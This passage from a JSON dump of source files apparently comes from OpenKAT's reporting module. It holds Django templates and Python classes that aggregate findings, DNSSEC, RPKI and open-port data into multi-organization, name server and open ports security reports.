   {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/recommendations.html",
    "content": "{% load i18n %}\n\n<section id=\"recommendations\">\n    <div>\n        <h2>{% translate \"Recommendations\" %}</h2>\n        {% if report_data.recommendation_counts %}\n            <div class=\"horizontal-scroll\">\n                <table>\n                    <caption class=\"visually-hidden\">{% translate \"Overview of recommendations\" %}</caption>\n                    <thead>\n                        <tr>\n                            <th scope=\"col\">{% translate \"Recommendation\" %}</th>\n                            <th scope=\"col\">{% translate \"Occurrence\" %}</th>\n                        </tr>\n                    </thead>\n                    <tbody>\n                        {% for recommendation, count in report_data.recommendation_counts.items %}\n                            <tr>\n                                <td>{{ recommendation }}</td>\n                                <td>{{ count }}x</td>\n                            </tr>\n                        {% endfor %}\n                    </tbody>\n                </table>\n            </div>\n        {% else %}\n            <p>{% translate \"There are no recommendations.\" %}</p>\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/report.html",
    "content": "{% load i18n %}\n\n<main id=\"main-content\"\n      tabindex=\"-1\"\n      class=\"sidemenu choose-report report\"\n      lang=\"nl\">\n    {% include \"partials/report_sidemenu.html\" with data=report_data %}\n\n    <article>\n        {% include \"partials/report_header.html\" %}\n        {% include \"multi_organization_report/summary.html\" %}\n\n        <div class=\"chapter-numbers report-content\">\n            {% include \"multi_organization_report/recommendations.html\" with total_findings=report_data.total_findings total_systems=report_data.total_systems %}\n            {% include \"multi_organization_report/asset_overview.html\" %}\n            {% include \"multi_organization_report/open_ports.html\" %}\n            {% include \"multi_organization_report/ipv6.html\" %}\n\n            <section id=\"basic-security\">\n                <div>\n                    <div id=\"basic-security-overview\">\n                        {% include \"aggregate_organisation_report/basic_security.html\" with data=report_data %}\n\n                    </div>\n                    {% include \"multi_organization_report/basic_security_details.html\" %}\n\n                </div>\n            </section>\n            {% include \"multi_organization_report/vulnerabilities.html\" %}\n\n            {% if data.findings %}\n                <section id=\"findings\">\n                    <div>\n                        <h2>{% translate \"Findings\" %}</h2>\n                        {% if not data.findings %}\n                            <p>{% translate \"No findings have been identified yet.\" %}</p>\n                        {% else %}\n                            {% include \"findings_report/report.html\" with data=data.findings show_introduction=\"yes\" is_multi_report=\"yes\" %}\n\n                        {% endif %}\n                    </div>\n                </section>\n            {% endif %}\n            {% include \"multi_organization_report/appendix.html\" %}\n\n        </div>\n    </article>\n</main>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/report.py",
    "content": "from datetime import datetime\nfrom typing import Any, TypedDict\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.reports import ReportData\nfrom reports.report_types.definitions import MultiReport, ReportPlugins\nfrom reports.report_types.findings_report.report import SEVERITY_OPTIONS\n\n\nclass OpenPortsDict(TypedDict):\n    total: int\n    ports: dict\n\n\nclass SystemSpecificDict(TypedDict):\n    total: int\n    checks: dict\n\n\nclass MultiOrganizationReport(MultiReport):\n    id = \"multi-organization-report\"\n    name = _(\"Multi Organization Report\")\n    description = _(\"Multi Organization Report\")\n    plugins: ReportPlugins = {\"required\": set(), \"optional\": set()}\n    input_ooi_types = {ReportData}\n    template_path = \"multi_organization_report/report.html\"\n\n    def post_process_data(self, data: dict[str, Any]) -> dict[str, Any]:\n        \"\"\"\n        The data is of the form:\n           {\n               \"ReportData|org_code\": ReportData.dict(),\n               \"ReportData|org_code_2\": ReportData.dict(),\n           }\n        \"\"\"\n\n        tags: dict[str, list[str]] = {}\n        total_critical_vulnerabilities = 0\n        basic_securities = []\n        total_findings = 0\n        total_systems = 0\n        total_hostnames = 0\n        service_counts = {}\n        asset_vulnerabilities = []\n        open_ports: OpenPortsDict = {\"total\": 0, \"ports\": {}}\n        services: dict[str, Any] = {}\n        basic_security_summary = {}\n        safe_connections_summary = {\"number_of_available\": 0, \"number_of_ips\": 0}\n        system_specific: dict[str, SystemSpecificDict] = {}\n        rpki_summary = {}\n        ipv6 = {}\n        findings: dict[str, Any] = {}\n        recommendation_counts = {}\n        organization_metrics: dict[str, Any] = {}\n\n        for organization, report_data in data.items():\n            aggregate_data = report_data[\"data\"]\n            basic_security = {\"compliant\": 0, \"total\": 0}\n\n            for tag in report_data[\"organization_tags\"]:\n                if tag not in tags:\n                    tags[tag] = []\n\n                tags[tag].append(report_data[\"organization_code\"])\n\n            # Added for backward compatability issues\n            if \"Critical vulnerabilities\" in aggregate_data[\"summary\"]:\n                total_critical_vulnerabilities += aggregate_data[\"summary\"][\"Critical vulnerabilities\"]\n            else:\n                total_critical_vulnerabilities += aggregate_data[\"summary\"][\"critical_vulnerabilities\"]\n\n            total_findings += aggregate_data[\"total_findings\"]\n            total_systems += aggregate_data[\"total_systems\"]\n            total_hostnames += aggregate_data[\"total_hostnames\"]\n\n            for compliance in report_data[\"data\"][\"basic_security\"][\"summary\"].values():\n                for counts in compliance.values():\n                    basic_security[\"total\"] += counts[\"total\"]\n                    basic_security[\"compliant\"] += counts[\"number_of_compliant\"]\n\n            basic_securities.append(basic_security)\n\n            for service, systems in aggregate_data[\"services\"].items():\n                if service not in service_counts:\n                    service_counts[service] = 0\n\n                service_counts[service] += len(systems)\n\n            for system, vulnerabilities in aggregate_data[\"vulnerabilities\"].items():\n                row = {\n                    \"asset\": system,\n                    \"vulnerabilities\": {k: v[\"cvss\"][\"score\"] for k, v in vulnerabilities[\"vulnerabilities\"].items()},\n                    \"organisation\": report_data[\"organization_code\"],\n                    \"services\": aggregate_data[\"systems\"][\"services\"][system][\"services\"],\n                }\n                asset_vulnerabilities.append(row)\n\n            for system, ports in aggregate_data[\"open_ports\"].items():\n                open_ports[\"total\"] += 1\n\n                for port in ports[\"ports\"]:\n                    if port not in open_ports[\"ports\"]:\n                        open_ports[\"ports\"][port] = {\"open\": 0, \"services\": set()}\n\n                    open_ports[\"ports\"][port][\"open\"] += 1\n                    open_ports[\"ports\"][port][\"services\"] |= set(ports[\"services\"][port])\n\n            for service, systems in aggregate_data[\"services\"].items():\n                if service not in services:\n                    services[service] = []\n\n                services[service].extend(systems)\n\n            for service, row in aggregate_data[\"basic_security\"][\"summary\"].items():\n                if service not in basic_security_summary:\n                    basic_security_summary[service] = {\n                        \"rpki\": {\"number_of_compliant\": 0, \"total\": 0},\n                        \"system_specific\": {\"number_of_compliant\": 0, \"total\": 0},\n                        \"safe_connections\": {\"number_of_compliant\": 0, \"total\": 0},\n                    }\n\n                for column in [\"rpki\", \"system_specific\", \"safe_connections\"]:\n                    basic_security_summary[service][column][\"number_of_compliant\"] += row[column][\"number_of_compliant\"]\n                    basic_security_summary[service][column][\"total\"] += row[column][\"total\"]\n\n            for service, safe_connections in aggregate_data[\"basic_security\"][\"safe_connections\"].items():\n                safe_connections_summary[\"number_of_available\"] += safe_connections[\"number_of_available\"]\n                safe_connections_summary[\"number_of_ips\"] += safe_connections[\"number_of_ips\"]\n\n            for service, summary in aggregate_data[\"basic_security\"][\"summary\"].items():\n                if service not in system_specific:\n                    system_specific[service] = {\"checks\": {}, \"total\": 0}\n\n                system_specific[service][\"total\"] += summary[\"system_specific\"][\"total\"]\n                for title, count in summary[\"system_specific\"][\"checks\"].items():\n                    if title not in system_specific[service][\"checks\"]:\n                        system_specific[service][\"checks\"][title] = 0\n\n                    system_specific[service][\"checks\"][title] += count\n\n            for service, rpki in aggregate_data[\"basic_security\"][\"rpki\"].items():\n                if service not in rpki_summary:\n                    rpki_summary[service] = {\n                        \"number_of_available\": 0,\n                        \"number_of_ips\": 0,\n                        \"number_of_valid\": 0,\n                        \"rpki_ips\": True,  # To trigger rendering (not the best solution)\n                    }\n\n                rpki_summary[service][\"number_of_available\"] += rpki[\"number_of_available\"]\n                rpki_summary[service][\"number_of_ips\"] += rpki[\"number_of_ips\"]\n                rpki_summary[service][\"number_of_valid\"] += rpki[\"number_of_valid\"]\n\n            for system, info in aggregate_data[\"ipv6\"].items():\n                for system_type in info[\"systems\"]:\n                    if system_type not in ipv6:\n                        ipv6[system_type] = {\"total\": 0, \"enabled\": 0}\n\n                    ipv6[system_type][\"total\"] += 1\n                    ipv6[system_type][\"enabled\"] += info[\"enabled\"]\n\n            for recommendation, count in aggregate_data[\"recommendation_counts\"].items():\n                if recommendation == \"null\":\n                    continue\n\n                if recommendation not in recommendation_counts:\n                    recommendation_counts[recommendation] = 0\n\n                recommendation_counts[recommendation] += 1\n\n            # Findings\n            if not findings:\n                findings[\"finding_types\"] = {}\n                findings[\"summary\"] = {\n                    \"total_by_severity\": {severity: 0 for severity in SEVERITY_OPTIONS},\n                    \"total_by_severity_per_finding_type\": {severity: 0 for severity in SEVERITY_OPTIONS},\n                    \"total_finding_types\": 0,\n                    \"total_occurrences\": 0,\n                }\n            if aggregate_data[\"findings\"]:\n                for finding_type_with_occurrences in aggregate_data[\"findings\"][\"finding_types\"]:\n                    finding_type = finding_type_with_occurrences[\"finding_type\"]\n                    finding_type_id = finding_type[\"id\"]\n                    occurrences = finding_type_with_occurrences[\"occurrences\"]\n                    severity = finding_type[\"risk_severity\"]\n\n                    if finding_type_id not in findings[\"finding_types\"]:\n                        findings[\"finding_types\"][finding_type_id] = {\n                            \"finding_type\": finding_type,\n                            \"occurrences\": occurrences,\n                        }\n                        findings[\"summary\"][\"total_by_severity_per_finding_type\"][severity] += 1\n                        findings[\"summary\"][\"total_finding_types\"] += 1\n                    else:\n                        findings[\"finding_types\"][finding_type_id][\"occurrences\"].extend(occurrences)\n\n            # Get metrics per organization for best and worst security score\n            ## Safe Connections\n            is_check_compliant = (\n                safe_connections_summary[\"number_of_available\"] == safe_connections_summary[\"number_of_ips\"]\n            )\n            organization_metrics.setdefault(\"Safe Ciphers\", {})[organization] = is_check_compliant\n\n            ## System Specific\n            for value in system_specific.values():\n                for check, count in value[\"checks\"].items():\n                    is_check_compliant = count == value[\"total\"]\n                    organization_metrics.setdefault(check, {}).setdefault(organization, is_check_compliant)\n                    if organization in organization_metrics[check] and not is_check_compliant:  # to avoid duplicates\n                        organization_metrics[check][organization] = is_check_compliant\n\n            ## RPKI\n            rpki_available_compliant = all(\n                value[\"number_of_available\"] == value[\"number_of_ips\"] for value in rpki_summary.values()\n            )\n            rpki_valid_compliant = all(\n                value[\"number_of_valid\"] == value[\"number_of_ips\"] for value in rpki_summary.values()\n            )\n            organization_metrics.setdefault(\"RPKI Available\", {})[organization] = rpki_available_compliant\n            organization_metrics.setdefault(\"RPKI Valid\", {})[organization] = rpki_valid_compliant\n\n        # Calculate security score\n        for check, results in organization_metrics.items():\n            organization_metrics[check][\"score\"] = sum(results.values()) / len(results) * 100\n        best_score = max(organization_metrics, key=lambda x: organization_metrics[x][\"score\"])\n        worst_score = min(organization_metrics, key=lambda x: organization_metrics[x][\"score\"])\n\n        system_vulnerabilities = {}\n        system_vulnerability_totals = {}\n\n        for asset_vulnerability in asset_vulnerabilities:\n            for vulnerability, score in asset_vulnerability[\"vulnerabilities\"].items():\n                if vulnerability not in system_vulnerabilities:\n                    system_vulnerabilities[vulnerability] = {\"cvss\": score}\n\n                for service in asset_vulnerability[\"services\"]:\n                    if service not in system_vulnerabilities[vulnerability]:\n                        system_vulnerabilities[vulnerability][service] = 0\n\n                    if service not in system_vulnerability_totals:\n                        system_vulnerability_totals[service] = 0\n\n                    system_vulnerabilities[vulnerability][service] += 1\n                    system_vulnerability_totals[service] += 1\n\n        system_vulnerabilities = dict(\n            sorted(system_vulnerabilities.items(), key=lambda x: x[1][\"cvss\"] or 0, reverse=True)\n        )\n\n        # Remove duplicate occurrences\n        for finding_type in findings[\"finding_types\"].values():\n            severity = finding_type[\"finding_type\"][\"risk_severity\"]\n            unique_occurrences = []\n            seen_keys = set()\n\n            for occurrence in finding_type[\"occurrences\"]:\n                occurrence_ooi = occurrence[\"finding\"][\"ooi\"]\n\n                if occurrence_ooi not in seen_keys:\n                    seen_keys.add(occurrence_ooi)\n                    unique_occurrences.append(occurrence)\n                    findings[\"summary\"][\"total_by_severity\"][severity] += 1\n\n            finding_type[\"occurrences\"] = unique_occurrences\n            findings[\"summary\"][\"total_occurrences\"] += len(unique_occurrences)\n\n        findings[\"finding_types\"] = sorted(\n            findings[\"finding_types\"].values(), key=lambda x: x[\"finding_type\"][\"risk_score\"] or 0, reverse=True\n        )\n\n        return {\n            \"multi_data\": data,\n            \"organizations\": [value[\"organization_code\"] for key, value in data.items()],\n            \"tags\": tags,\n            # Average score over organizations\n            \"basic_security_score\": round(\n                sum(x[\"compliant\"] / x[\"total\"] if x[\"total\"] > 0 else 0 for x in basic_securities)\n                / len(basic_securities)\n                * 100\n            ),\n            \"total_critical_vulnerabilities\": total_critical_vulnerabilities,\n            \"total_findings\": total_findings,\n            \"total_systems\": total_systems,\n            \"total_hostnames\": total_hostnames,\n            \"service_counts\": service_counts,\n            \"asset_vulnerabilities\": asset_vulnerabilities,\n            \"system_vulnerabilities\": system_vulnerabilities,\n            \"system_vulnerability_totals\": system_vulnerability_totals,\n            \"open_ports\": open_ports,\n            \"basic_security\": {\n                \"summary\": basic_security_summary,\n                \"safe_connections\": safe_connections_summary,\n                \"system_specific\": system_specific,\n                \"rpki\": rpki_summary,\n            },\n            \"services\": services,\n            \"recommendation_counts\": recommendation_counts,\n            \"best_scoring\": best_score,\n            \"worst_scoring\": worst_score,\n            \"ipv6\": ipv6,\n            \"findings\": findings,\n        }\n\n\ndef collect_report_data(\n    connector: OctopoesAPIConnector, input_ooi_references: list[str], observed_at: datetime\n) -> dict:\n    report_data = {}\n    for ooi in [x for x in input_ooi_references if Reference.from_str(x).class_type == ReportData]:\n        report_data[ooi] = connector.get(Reference.from_str(ooi), observed_at).model_dump()\n\n    return report_data\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/summary.html",
    "content": "{% load i18n %}\n\n<section id=\"summary\">\n    <div>\n        <h2>{% translate \"Summary\" %}</h2>\n        <dl>\n            <div>\n                <dt>Organisations in sector report</dt>\n                <dd>\n                    {{ report_data.organizations|length }}\n                </dd>\n            </div>\n            {% for tag, organizations in report_data.tags.items %}\n                <div>\n                    <dt>\n                        Organisations with tag <i>{{ tag }}</i>\n                    </dt>\n                    <dd>\n                        {{ organizations|length }}\n                    </dd>\n                </div>\n            {% endfor %}\n            <div>\n                <dt>IP addresses scanned</dt>\n                <dd>\n                    {{ report_data.total_systems }}\n                </dd>\n            </div>\n            <div>\n                <dt>Domains scanned</dt>\n                <dd>\n                    {{ report_data.total_hostnames }}\n                </dd>\n            </div>\n            <div>\n                <dt>General recommendations</dt>\n                <dd>\n                    {{ report_data.recommendation_counts.values|sum_list }}\n                </dd>\n            </div>\n            <div>\n                <dt>{% translate \"Best scoring security check\" %}</dt>\n                <dd>\n                    {{ report_data.best_scoring }}\n                </dd>\n            </div>\n            <div>\n                <dt>{% translate \"Worst scoring security check\" %}</dt>\n                <dd>\n                    {{ report_data.worst_scoring }}\n                </dd>\n            </div>\n        </dl>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/vulnerabilities.html",
    "content": "{% load i18n %}\n\n<section id=\"vulnerabilities\">\n    <div>\n        <h2>{% translate \"Vulnerabilities\" %}</h2>\n        <p>{% translate \"Vulnerabilities found are grouped per system. Here, we only consider CVE vulnerabilities.\" %}</p>\n        {% if not report_data.asset_vulnerabilities %}\n            <p>{% translate \"No CVEs have been found.\" %}</p>\n        {% else %}\n            <div class=\"horizontal-scroll\">\n                <table>\n                    <caption class=\"visually-hidden\">{% translate \"Vulnerabilities grouped per system\" %}</caption>\n                    <thead>\n                        <tr>\n                            <th scope=\"col\">CVE</th>\n                            <th scope=\"col\">CVSS</th>\n                            {% for service in report_data.services %}<th scope=\"col\">{{ service }}</th>{% endfor %}\n                        </tr>\n                    </thead>\n                    <tbody>\n                        {% for cve, row in report_data.system_vulnerabilities.items %}\n                            <tr>\n                                <td>{{ cve }}</td>\n                                <td>{{ row|get_item:\"cvss\" }}</td>\n                                {% for service in report_data.services %}<td>{{ row|get_item:service }}</td>{% endfor %}\n                            </tr>\n                        {% endfor %}\n                    </tbody>\n                    <tfoot>\n                        <tr>\n                            <td>{% translate \"total\" %}</td>\n                            <td>N/A</td>\n                            {% for service in report_data.services %}\n                                <td>{{ report_data.system_vulnerability_totals|get_item:service }}</td>\n                            {% endfor %}\n                        </tr>\n                    </tfoot>\n                </table>\n            </div>\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/name_server_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/name_server_report/report.html",
    "content": "{% load i18n %}\n{% load report_extra %}\n\n{% if data.name_server_checks|length > 0 %}\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            The Name Server Report provides an overview of the compliance checks that\n            were performed against the identified Domain Name Servers (DNS). The compliance\n            checks verify the presence and validity of DNSSEC and whether no unnecessary\n            ports were identified to be open. The table below gives an overview of the\n            available checks including whether the system passed the performed checks.\n            The risk level and reasoning as to why an issue was identified are shown too.\n            The risk level may be different for your specific environment.\n        {% endblocktranslate %}\n    </p>\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Name server compliance\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Check\" %}</th>\n                    <th scope=\"col\">{% translate \"Compliance\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td>{% translate \"DNSSEC Present\" %}</td>\n                    <td>\n                        {% if data.name_server_checks.checks|sum_attribute:\"has_dnssec\" != data.name_server_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.name_server_checks.checks|sum_attribute:\"has_dnssec\" }}/{{ data.name_server_checks.checks|length }} {% translate \"name servers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Valid DNSSEC\" %}</td>\n                    <td>\n                        {% if data.name_server_checks.checks|sum_attribute:\"has_valid_dnssec\" != data.name_server_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.name_server_checks.checks|sum_attribute:\"has_valid_dnssec\" }}/{{ data.name_server_checks.checks|length }} {% translate \"name servers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"No unnecessary ports open\" %}</td>\n                    <td>\n                        {% if data.name_server_checks.checks|sum_attribute:\"no_uncommon_ports\" != data.name_server_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.name_server_checks.checks|sum_attribute:\"no_uncommon_ports\" }}/{{ data.name_server_checks.checks|length }} {% translate \"name servers compliant\" %}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </div>\n    {% if data.finding_types %}\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Findings\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"Compliance issue\" %}</th>\n                        <th scope=\"col\">{% translate \"Risk level\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for finding_type in data.finding_types %}\n                        <tr>\n                            <td>{{ finding_type.description }}</td>\n                            <td>\n                                <span class=\"{{ finding_type.risk_severity }}\">{{ finding_type.risk_severity|capfirst }}</span>\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    {% endif %}\n{% else %}\n    <p>{% translate \"No nameservers have been found on this system.\" %}</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/name_server_report/report.py",
    "content": "from __future__ import annotations\n\nfrom collections.abc import Iterable\nfrom dataclasses import dataclass, field\nfrom datetime import datetime\nfrom typing import Any, cast\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import RiskLevelSeverity\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\n\n@dataclass\nclass NameServerCheck:\n    no_uncommon_ports: bool = False\n    has_dnssec: bool = False\n    has_valid_dnssec: bool = False\n\n    def __bool__(self):\n        return self.no_uncommon_ports and self.has_dnssec and self.has_valid_dnssec\n\n\n@dataclass\nclass NameServerChecks:\n    checks: list[NameServerCheck] = field(default_factory=list)\n\n    @property\n    def no_uncommon_ports(self):\n        return sum([check.no_uncommon_ports for check in self.checks])\n\n    @property\n    def has_dnssec(self):\n        return sum([check.has_dnssec for check in self.checks])\n\n    @property\n    def has_valid_dnssec(self):\n        return sum([check.has_valid_dnssec for check in self.checks])\n\n    def __bool__(self) -> bool:\n        return all(bool(check) for check in self.checks)\n\n    def __len__(self) -> int:\n        return len(self.checks)\n\n    def __add__(self, other: NameServerChecks) -> NameServerChecks:\n        return NameServerChecks(checks=self.checks + other.checks)\n\n\nclass NameServerSystemReport(Report):\n    id = \"name-server-report\"\n    name = _(\"Name Server Report\")\n    description = _(\"Name Server Report checks name servers on basic security standards.\")\n    plugins = {\"required\": {\"nmap\", \"dns-records\", \"dns-sec\"}, \"optional\": set()}\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"name_server_report/report.html\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        hostnames_by_input_ooi = self.to_hostnames(input_oois, valid_time)\n        all_hostnames = list({h for key, hostnames in hostnames_by_input_ooi.items() for h in hostnames})\n\n        query = \"Hostname.<ooi[is Finding].finding_type\"\n        hostname_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames),\n            [\"KAT-NO-DNSSEC\", \"KAT-INVALID-DNSSEC\"],\n        )\n        query = \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ooi[is Finding].finding_type\"\n        port_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames),\n            [\"KAT-UNCOMMON-OPEN-PORT\", \"KAT-OPEN-SYSADMIN-PORT\", \"KAT-OPEN-DATABASE-PORT\"],\n        )\n\n        result = {\n            ooi: {\"input_ooi\": ooi, \"name_server_checks\": NameServerChecks(), \"finding_types\": []} for ooi in input_oois\n        }\n\n        for input_ooi, hostname_references in hostnames_by_input_ooi.items():\n            finding_types = {}\n            checks = NameServerChecks()\n            for hostname in hostname_references:\n                check = NameServerCheck()\n                check.no_uncommon_ports = not any(port_finding_types.get(hostname, []))\n                check.has_dnssec = \"KAT-NO-DNSSEC\" not in [x.id for x in hostname_finding_types.get(hostname, [])]\n                check.has_valid_dnssec = check.has_dnssec and \"KAT-INVALID-DNSSEC\" not in [\n                    x.id for x in hostname_finding_types.get(hostname, [])\n                ]\n\n                checks.checks.append(check)\n\n                for finding_type in port_finding_types.get(hostname, []) + hostname_finding_types.get(hostname, []):\n                    if finding_type.risk_severity not in [None, RiskLevelSeverity.PENDING] and finding_type.description:\n                        finding_types[finding_type.id] = finding_type\n\n            result[input_ooi] = {\n                \"input_ooi\": input_ooi,\n                \"name_server_checks\": checks,\n                # We need cast here because mypy doesn't understand that we only add finding_types\n                # when risk level severity isn't None\n                \"finding_types\": sorted(\n                    finding_types.values(), reverse=True, key=lambda x: cast(RiskLevelSeverity, x.risk_severity)\n                ),\n            }\n\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/open_ports_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/open_ports_report/report.html",
    "content": "{% load i18n %}\n\n<section id=\"open-ports\">\n    <div class=\"horizontal-scroll\">\n        {% if show_heading %}\n            <div class=\"horizontal-view\">\n                <h2>{% translate \"Open ports\" %}</h2>\n                {% include \"partials/report_section_action_button.html\" with modal_id=\"open-ports-modal\" template=\"open_ports_report/report.html\" %}\n\n            </div>\n        {% endif %}\n        <p class=\"toggle-item\" data-show=\"off\">\n            {% blocktranslate trimmed %}\n                The Open Ports Report provides an overview of the open ports identified on\n                a system. The ports that are marked as <b>bold</b> were identified by direct\n                scans performed by OpenKAT (such as nmap). Ports that are not marked in bold\n                were identified through external services and/or scans (such as Shodan). Scans\n                with the same hostnames, ports and IPs are merged.\n            {% endblocktranslate %}\n        </p>\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Overview of open ports found for the scanned assets\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"IP address\" %}</th>\n                    <th scope=\"col\">{% translate \"Open ports\" %}</th>\n                    <th scope=\"col\">{% translate \"Hostnames\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% if aggregate_dashboard_item %}\n                    {% for ip, detailed_data in data.open_ports.items %}\n                        <tr>\n                            <td>{{ ip }}</td>\n                            {# djLint formatting adds spaces before the comma. #}\n                            {# djlint:off #}\n                                <td>\n                                    {% if detailed_data.ports %}\n                                        {% for port, found_by_openkat in detailed_data.ports.items %}\n                                            {% if found_by_openkat %}\n                                                <strong><span class=\"visually-hidden\">({% translate \"Direct scan\" %})</span>{{ port }}</strong>{% if not forloop.last %},{% endif %}\n                                            {% else %}\n                                                {{ port }}{% if not forloop.last %},{% endif %}\n                                            {% endif %}\n                                        {% endfor %}\n                                    {% else %}\n                                        -\n                                    {% endif %}\n\n                                </td>\n                                <td>\n                                    {% if detailed_data.hostnames %}\n                                        {{ detailed_data.hostnames|join:\", \" }}\n                                    {% else %}\n                                        -\n                                    {% endif %}\n                                </td>\n                            {# djlint:on #}\n                        </tr>\n                    {% endfor %}\n                {% else %}\n                    {% for ip, detailed_data in data.items %}\n                        <tr>\n                            <td>{{ ip }}</td>\n                            {# djLint formatting adds spaces before the comma. #}\n                            {# djlint:off #}\n                            <td>\n                                {% if detailed_data.ports %}\n                                    {% for port, found_by_openkat in detailed_data.ports.items %}\n                                        {% if found_by_openkat %}\n                                            <strong><span class=\"visually-hidden\">({% translate \"Direct scan\" %})</span>{{ port }}</strong>{% if not forloop.last %},{% endif %}\n                                        {% else %}\n                                            {{ port }}{% if not forloop.last %},{% endif %}\n                                        {% endif %}\n                                    {% endfor %}\n                                {% else %}\n                                    -\n                                {% endif %}\n\n                            </td>\n                            <td>\n                                {% if detailed_data.hostnames %}\n                                    {{ detailed_data.hostnames|join:\", \" }}\n                                {% else %}\n                                    -\n                                {% endif %}\n                            </td>\n                            {# djlint:on #}\n                        </tr>\n                    {% endfor %}\n                {% endif %}\n            </tbody>\n        </table>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/open_ports_report/report.py",
    "content": "from collections.abc import Iterable\nfrom datetime import datetime\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\n\nclass OpenPortsReport(Report):\n    id = \"open-ports-report\"\n    name = _(\"Open Ports Report\")\n    description = _(\"Find open ports of IP addresses\")\n    plugins = {\"required\": {\"nmap\"}, \"optional\": {\"shodan\", \"nmap-udp\", \"nmap-ports\", \"nmap-ip-range\", \"masscan\"}}\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"open_ports_report/report.html\"\n    label_style = \"5-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        ips_by_input_ooi = self.to_ips(input_oois, valid_time)\n        all_ips = list({ip for key, ips in ips_by_input_ooi.items() for ip in ips})\n        ports_by_source = self.group_by_source(\n            self.octopoes_api_connector.query_many(\"IPAddress.<address[is IPPort]\", valid_time, all_ips)\n        )\n        all_ports = [port for key, ports in ports_by_source.items() for port in ports]\n\n        hostnames_by_source = self.group_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address[is ResolvedHostname].hostname\", valid_time, all_ips\n            )\n        )\n        services_by_port = self.group_by_source(\n            self.octopoes_api_connector.query_many(\"IPPort.<ip_port[is IPService].service\", valid_time, all_ports)\n        )\n        result = {}\n\n        for input_ooi, ips in ips_by_input_ooi.items():\n            by_ip = {}\n\n            for ip in ips:\n                ports = ports_by_source.get(ip, [])\n                hostnames = [h.name for h in hostnames_by_source.get(ip, [])]\n\n                port_numbers = {}\n                services = {}\n\n                for port in ports:\n                    origins = self.octopoes_api_connector.list_origins(result=port.reference, valid_time=valid_time)\n                    found_by_openkat = any(o.method in (\"kat_nmap_normalize\", \"kat_masscan_normalize\") for o in origins)\n                    port_numbers[port.port] = found_by_openkat\n                    services[port.port] = [service.name for service in services_by_port.get(port.reference, [])]\n\n                sorted_port_numbers = dict(sorted(port_numbers.items()))\n                by_ip[ip.tokenized.address] = {\n                    \"ports\": sorted_port_numbers,\n                    \"hostnames\": hostnames,\n                    \"services\": services,\n                }\n\n            result[input_ooi] = by_ip\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/rpki_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/rpki_report/report.html",
